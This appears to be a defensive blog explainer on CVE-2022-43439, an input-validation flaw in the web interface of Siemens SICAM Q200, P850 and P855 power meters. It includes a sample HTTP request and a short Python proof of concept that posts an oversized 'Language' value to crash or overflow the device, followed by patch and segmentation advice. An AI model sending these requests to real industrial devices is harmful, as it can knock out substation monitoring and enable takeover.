Power meters are critical in electrical substations and industrial plants, where downtime can mean big losses. Recently, a serious security flaw was found in Siemens' POWER METER SICAM Q200 and several SICAM P850/P855 series devices that could let remote attackers crash them—or even run their own code on them. Let’s break down what CVE-2022-43439 is about, how it works, and what Siemens users need to know.

SICAM P855 (All versions before V3.10)

They all share a similar web interface and back-end software stack.

What's the Vulnerability?

The devices do not properly validate the “Language” parameter in web requests sent to their HTTPS admin interface (port 443). That means an attacker who can log in can send a crafted request with a malicious value for Language, causing the device to crash (triggering a reboot), or potentially run malicious code.

In security terms, this is an *input validation failure*. Instead of only allowing approved language codes (like "en" or "de"), the device uses the parameter value directly, opening the door to attacks.

> Severity: High (CVSS 8.8 - Code execution possible)
>
> Attack Vector: Network (HTTPS, port 443)
>
> Authentication Required: Yes

Exploit Details: How Does It Work?

When a user accesses the web interface, the device often expects a Language parameter, which determines UI language. But because this input isn’t checked, attackers can abuse it to crash the system or run code.

1. Crash-Only Attack Example

Send a request to the web admin page, logged in as a valid user, but supply an oversized or malformed Language parameter.

Example HTTP request (pseudocode)

POST /index.php HTTP/1.1
Host: target-device
Content-Type: application/x-www-form-urlencoded
Cookie: sessionid=your_session_id

Language=AAAAAAAAAAAAAAAAAAAAAAAAAAA...


*Here, A...A is a string much longer than expected.*

Effect:
The device tries to process the huge or unexpected value, runs into a memory error, and crashes. It will then automatically reboot, causing a loss of monitoring data and potentially disrupting control systems relying on meter output.

2. Arbitrary Code Execution (Proof of Concept)

If you understand how the device handles the Language string internally—possibly storing it in a fixed-size stack buffer—you could craft a value that, instead of just crashing, overwrites a function pointer or return address. This is called a buffer overflow attack.

Simple Python exploit snippet

import requests

target = "https://device-ip-address";
session = requests.Session()

# You must be authenticated before this step.

malicious_language = "A" * 260  # length determined by reverse engineering firmware

data = {
    "Language": malicious_language,
    # Insert other required parameters for a valid request
}

response = session.post(f"{target}/index.php", data=data, verify=False)
print("Status:", response.status_code)

Disclaimer:
Running exploit code on real production equipment could cause permanent damage!

Effect:
A skillful attacker could, in principle, redirect execution flow to their own code—gaining full control of the device. In most real-world incidents, however, "crash and reboot" is more likely unless the attacker has deep knowledge of the device’s firmware.

Persistence:

Once arbitrary code execution is possible, an attacker could plant malware to maintain long-term access or manipulate readings.
- SCADA/ICS Impact:  
 These devices often sit in larger industrial networks, and their compromise can create a foothold for deeper attacks.

Update Firmware:

Siemens has released firmware updates fixing input validation on the Language parameter. Get the latest version here:
  - Siemens SICAM Security Advisory

Follow Siemens Guidance:

- Official Siemens CVE-2022-43439 Advisory
  - NVD Entry for CVE-2022-43439

Patch all Q200 devices to v2.70 or later.

- Patch all P850 / P855 to v3.10 or later.
- Use network segmentation/firewalls to block unauthorized access to meter web interfaces.

Conclusion

CVE-2022-43439 is a powerful example of why input validation matters, even for small things like UI language preference. If you’re running any Siemens SICAM Q200, P850, or P855 meters, don’t delay in patching. By fixing this single bug, you stop attackers from not just crashing your meters, but potentially taking them over.

Remember: In the world of industrial security, it’s the little things that can take down the biggest systems. Patch now, stay safe!


Extra Reading:  
- Siemens ProductCERT Portal
- US CISA ICS Alert


*Article written for cybersecurity defenders and OT engineers—please use responsibly.*

Timeline

Published on: 11/08/2022 11:15:00 UTC
Last modified on: 06/13/2023 09:15:00 UTC